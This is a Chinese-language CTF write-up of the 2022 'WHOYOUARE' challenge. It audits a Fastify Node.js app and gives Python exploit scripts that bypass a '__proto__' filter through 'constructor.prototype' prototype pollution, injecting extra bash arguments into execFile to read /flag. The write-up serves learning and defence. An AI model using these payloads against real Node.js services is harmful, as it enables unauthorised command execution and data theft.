强网拟态2022-wp

学习学习

强网拟态2022

WHOYOUARE

这道题目的环境是nodejs,猜考点是原型链污染,其框架根据附件名称可知为fastify

image-20230825093507374

看题目名字和刚打开题目的提示,猜测污染漏洞点应该在user处,应该在某个检查user信息的地方可以进行原型链污染


代码审计

先审一下app.js

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const userRoutes = require('./routes/user')
const fastify = require('fastify')({
logger: {
level: 'error'
}
})
const port = process.env.PORT || 3000
const host = process.env.HOST || "0.0.0.0"
const respWrapper = {
$id: 'respWrapper',
type: 'object',
response : {
success: {
type: 'object',
properties: {
status : { type: 'number' },
info: { type: 'string' },
}
}
}
}

fastify.addSchema(respWrapper)
fastify.register(userRoutes)

fastify.listen({
host, port
}, (err, address) => {
if (err) {
fastify.log.error(err)
process.exit(1)
}
fastify.log.info(`server listening on ${address}`)
})

发现网站还有个路由/user

1
const userRoutes = require('./routes/user')

访问

image-20230825100242391

显示

1
{"message":"Route GET:/user not found","error":"Not Found","statusCode":404}

看样子是无法用GET方式访问/user路由

于是审计一下user.js

user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const merge = require('../utils/merge')
const bin = "/bin/bash"
const ChildProcess = require('child_process');

function checkUser(command){
if (Array.isArray(command) === false || command.length > 2) {
return false;
}
for (let i = 0; i < command.length; i++) {
let cmd = command[i];
if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
return false;
}
}
return true;
}

async function routes (fastify, options) {
fastify.route(
{
method: 'POST',
url: '/user',
schema: {
querystring: {
user: { type: 'string' },
},
additionalProperties: false,
response: {
200: {
$ref: 'respWrapper#/response/success'
}
}
},
preHandler: function (request, reply, done) {
//user init
request.user = {username : 'guest', command: ["-c", "id"]}
let user = JSON.parse(request.body.user)
// clean user command
if (checkUser(user.command) !== true) {
user.command = ["-c", "id"]
}
try {
merge(request.user, user)
}catch (e){
reply.code(400).send({status: 1, info: "Something error"})
return ;
}
done()
},
handler : function (request, reply) {
ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
if (error) {
reply.code(400).send({status: 1, info: error})
}
reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
});
}
})
fastify.route({
method: 'GET',
url: '/',
response: {
$ref: 'respWrapper#/response/success'
},
handler: function (request, reply) {
reply.send({ status: 0, info: 'go user' })
}
})
}

module.exports = routes

原型链污染重点看mergeJSON.parse,发现代码,

1
let user = JSON.parse(request.body.user)
1
2
3
4
5
6
try {
merge(request.user, user)
}catch (e){
reply.code(400).send({status: 1, info: "Something error"})
return ;
}

其中request.user的值为,

1
request.user = {username : 'guest', command: ["-c", "id"]}

user的值为,

1
let user = JSON.parse(request.body.user)

request.user是初始化的user,所以无法直接污染,但是user是从请求体中得到的数据,并且通过Json格式化,其中是可以加一些实体(如__proto__,constructor.prototype)进去,是可以被我们污染的,所以,我们可以先污染user,然后通过merge合并,将user中的值传入request.user

然后我们可以看看merge的内容,

merge.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
for (const key in source) {
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
if(key !== '__proto__'){
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}

module.exports = merge

发现merge对内容进行了过滤和检查,

  • 如果request.useruser中,有包含whileTypes中的内容,就不会执行merge
  • 如果键值中有__proto__,也不会执行merge

过滤关键字还好,只是过滤了__proto__,需要一个相同功能的来帮助绕过,比如constructor.prototype

但是在merge前面还要个checkUser,将command也进行了限制

1
2
3
4
5
6
7
8
9
10
11
12
function checkUser(command){
if (Array.isArray(command) === false || command.length > 2) {
return false;
}
for (let i = 0; i < command.length; i++) {
let cmd = command[i];
if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
return false;
}
}
return true;
}

由条件语句可知,要求command必须是数组且数组中元素个数要小于等于2

且要求command数组中的元素必须为字符串且长度要小于等于4,并以字母或者数字或者-开头

如果不满足checkUser,就会执行:

1
user.command = ["-c", "id"]

command直接赋值为执行id命令,而不能执行其他命令。

==>再由初始化request.user,所以最后构造request.body.user的结构应该为

1
{"user":"{"username":"guest","command":["-c","id"]}"}

只是我们想要执行的commandcat /flag,但是很明显我们长度限制过不了,所以如果想要执行命令是不能把值写到command中,不然肯定会被拦截

我们看看user.js中,是如何执行command的,

1
2
3
4
5
6
7
8
handler : function (request, reply) {
ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
if (error) {
reply.code(400).send({status: 1, info: error})
}
reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
});
}

发现它执行是执行request.user.command的内容,那便又回到污染user,然后再通过merge污染request.user,所以这里尝试污染request.user的实体中的command参数

但是,request.user在执行merge之前就已经有command["-c","id"],所以作为一个已经存在的参数,就算污染了实体,它查找调用时还是会以它自己已有的值为先,所以如下图

image-20230906122510728

我们仔细执行命令的代码,发现它是将 request.user.command这个数组直接接到 /bin/bash后面

构造成

1
/bin/bash -c id

这种命令。

但是突然想到一点,既然无法直接污染实体修改已有参数,那么如果在command数组中再加一个键值2,并且也是命令,能否也成功执行呢?

我们本地可以先测试一下,

1
2
3
4
import requests
url="http://127.0.0.1:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"2":"whoami"}},"command":["-c","id"]}'''
print(requests.post(url=url, json={"user": user}).text)

只看调试结果,command数组的变化

开始都是一样的,再加上这里的command数组符合checkUser的要求,通过

image-20230906131218447

当运行到key为prototype时,

image-20230906131333083

可以看到target,也就是request.user,也获得了一个属性2且值为whoami的,说明污染成功

image-20230906131429139

继续看对command数组的影响,虽然两者command数组一样,但是后面就会出现区别

image-20230906133038986

发现在不断的merge合并时,userrequest.user中两者的数组中的key也在比较,但是由于两者的command数组中是字符串,属于whileTypes,所以会直接将target[key] = source[key];,也就是将user中值赋值给request.user,也就是修改command

1
2
3
4
5
6
7
8
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
if(key !== '__proto__'){
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}

由于key=0key=1两者都一样都是-c,id,所以赋值没有变化

image-20230906132428230

key=2时,因为之前执行prototype时,使得request.user也有属性2这个值,

image-20230906133910040

虽然这个属性2是在Object中,但是是在Array之上,所以即便command数组中没有key=2,但是仍然就会从原型链中寻找,所以当再次运行到target[key] = source[key];时,属性2就被当作command的属性2,赋值进去了

image-20230906134039538

于是最后执行命令时就是,

1
/bin/bash -c id whoami

由这个现象便可以构造出payload,可以看到便得到flag{test}

1
2
3
4
5
import requests
url="http://172.28.31.86:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"2":"cat /flag"}},"command":["-c","-i"]}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)

image-20230906134555175

当然这只是一个,同理,既然限制command数组中元素个数要小于等于2,所以一个也是可以的

1
2
3
4
5
6
# http://172.28.31.86:3000/user
import requests
url="http://172.28.31.86:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"1":"cat /flag"}},"command":["-c"]}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)

结果同上,只是不能让command为空就行,不然会报错


直接浏览器console,展示也可以理解原理

image-20230906160734249

这里的属性2实际是在command实体中

image-20230906160836260